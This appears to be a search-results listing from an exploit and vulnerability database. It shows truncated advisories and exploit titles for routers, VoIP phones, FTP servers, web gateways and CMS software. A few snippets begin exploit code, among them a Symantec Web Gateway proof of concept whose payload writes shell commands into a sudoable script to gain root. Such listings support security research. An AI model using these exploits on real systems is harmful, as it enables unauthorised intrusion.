2391 matches found
Hewlett-Packard Intelligent Management Center RssServlet Information Disclosure Vulnerability
This vulnerability allows remote attackers to obtain sensitive information on vulnerable installations of Hewlett-Packard Intelligent Management Center. Authentication is required to exploit this vulnerability. The specific flaw exists within the RssServlet servlet. This servlet exhibits an XML...
D-Link DSR Router Series - Remote Root Shell Exploit
No description provided by source. !/usr/bin/python CVEs: CVE-2013-5945 - Authentication Bypass by SQL-Injection CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution Vulnerable Routers: D-Link DSR-150 Firmware v1.08B44 D-Link DSR-150N Firmware v1.05B64 D-Link DSR-250 and DSR-250N...
Yealink VOIP Phone Persistent Cross Site Scripting Vulnerability
No description provided by source. ============================================================== Secur-I Research Group Security Advisory SV-2012-005 ============================================================== Title: Yealink VOIP Phone Persistent Cross Site Scripting Vulnerability Product:...
Oracle Database 10.1 MDSYS.MD2.SDO_CODE_SIZE Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/13145/info Oracle Database is reported prone to a buffer overflow vulnerability. Reportedly this issue affects the 'MDSYS.MD2.SDOCODESIZE' procedure. An attacker can supply excessive data to an affected routine resulting ...
RJ-iTop Network Vulnerability Scanner System Multiple SQL Injection Vulnerabilities
No description provided by source. RJ-iTop Network Vulnerability Scanner System Multiple SQL Injection Vulnerabilities Vulnerable: v3.0.7.x Vendor: www.rj-itop.comhttp://www.rj-itop.com Category: Input Validation Error Impact: SQL injection Details: ========= Multiple SQL Injection Vulnerabilitie...
Simple Web Content Management System 1.1-1.3 - Multiple SQL Injection
No description provided by source. Exploit Title: Simple Web Content Management System SQL Injection Date: May 30th 2012 Author: loneferret Version: 1.1 & 1.3 Application Url: http://www.cms-center.com/ Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23 Discovered by: loneferret Side...
NetSaro Enterprise Messenger 2.0 - Multiple Vulnerabilities
No description provided by source. =================================================== Secur-I Research Group Security Advisory SV-2011-004 =================================================== Title: NetSaro Enterprise Messenger v2.0 Multiple Vulnerabilities Product: Enterprise Messenger Server...
(0Day) VMware vCenter Server Appliance Ruby vSphere Console Privilege Escalation Vulnerability
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of VMware vCenter Appliance. Authentication is required to exploit this vulnerability. The specific flaw exists within the usage of the Ruby vSphere Console RVC provided by the vCenter Server Applianc...
SQL Injection in mAdserve
High-Tech Bridge Security Research Lab discovered multiple SQL injection vulnerabilities in mAdserve, which can be exploited to execute arbitrary SQL commands in application’s database and compromise vulnerable website. 1 SQL Injection in mAdserve: CVE-2014-2654 1.1 The vulnerability exists due t...
mongodb: memory over-read via incorrect BSON object length
The default configuration for MongoDB before 2.3.2 does not validate objects, which allows remote authenticated users to cause a denial of service crash or read system memory via a crafted BSON object in the column name in an insert command, which triggers a buffer over-read...
Dell Kace 1000 Systems Management Appliance DS-2014-001 - Multiple SQL Injections
source: https://www.securityfocus.com/bid/65029/info Dell Kace 1000 Systems Management Appliance is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query. Exploiting these issues could allow an attacker to...
PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow
This module exploits a buffer overflow vulnerability found in the STOR command of the PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please note authentication is required in order to trigger the vulnerability. The overflowing string will also be seen on the FTP...
PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow
This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3 'PCMAN FTP Server Post-Authentication...
Privoxy Proxy - Authentication Information Disclosure
Privoxy Proxy - Authentication Information Disclosure source: https://www.securityfocus.com/bid/58425/info Privoxy is prone to multiple information-disclosure vulnerabilities. Attackers can exploit these issues to gain access to the user accounts and potentially obtain sensitive information. This...
Simple Web Content Management System 1.1 SQL Injection
Exploit Title: Simple Web Content Management System SQL Injection Date: May 30th 2012 Author: loneferret Version: 1.1 Application Url: http://www.cms-center.com/ Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23 Discovered by: loneferret Side note: This application is nothing fancy, a...
Symantec Web Gateway 5.0.2 - Local/Remote File Inclusion / Remote Code Execution
!/usr/bin/python Symantec Web Gateway 5.0.2 Remote LFI root Exploit Proof of Concept Exploit requires no authentication, /tmp/networkScript is sudoable and apache writable. muts at offensive-security dot com import socket import base64 payload= '''echo '!/bin/bash' /tmp/networkScript; echo 'bash ...
http-icloud-findmyiphone NSE Script
Retrieves the locations of all "Find my iPhone" enabled iOS devices by querying the MobileMe web service authentication required. Script Arguments http-icloud-findmyiphone.username the Apple Id username http-icloud-findmyiphone.password the Apple Id password slaxml.debug See the documentation for...
Yealink VOIP Phone Persistent Cross Site Scripting Vulnerability [CVE-2012-1417]
============================================================== Secur-I Research Group Security Advisory SV-2012-005 ============================================================== Title: Yealink VOIP Phone Persistent Cross Site Scripting Vulnerability Product: Yealink Easy VOIP Phone Homepage:...
Yealink VOIP Phone Persistent Cross Site Scripting Vulnerability
Exploit for hardware platform in category web applications Title: Yealink VOIP Phone Persistent Cross Site Scripting Vulnerability Product: Yealink Easy VOIP Phone Homepage: http://www.yealink.com/ Impact: Medium Authentication: Required CVE: CVE-2012-1417 Found: 2012-02-21 Author: Narendra Shind...
Yealink VOIP Phone - Persistent Cross-Site Scripting
Yealink VOIP Phone - Persistent Cross-Site Scripting ============================================================== Secur-I Research Group Security Advisory SV-2012-005 ============================================================== Title: Yealink VOIP Phone Persistent Cross Site Scripting...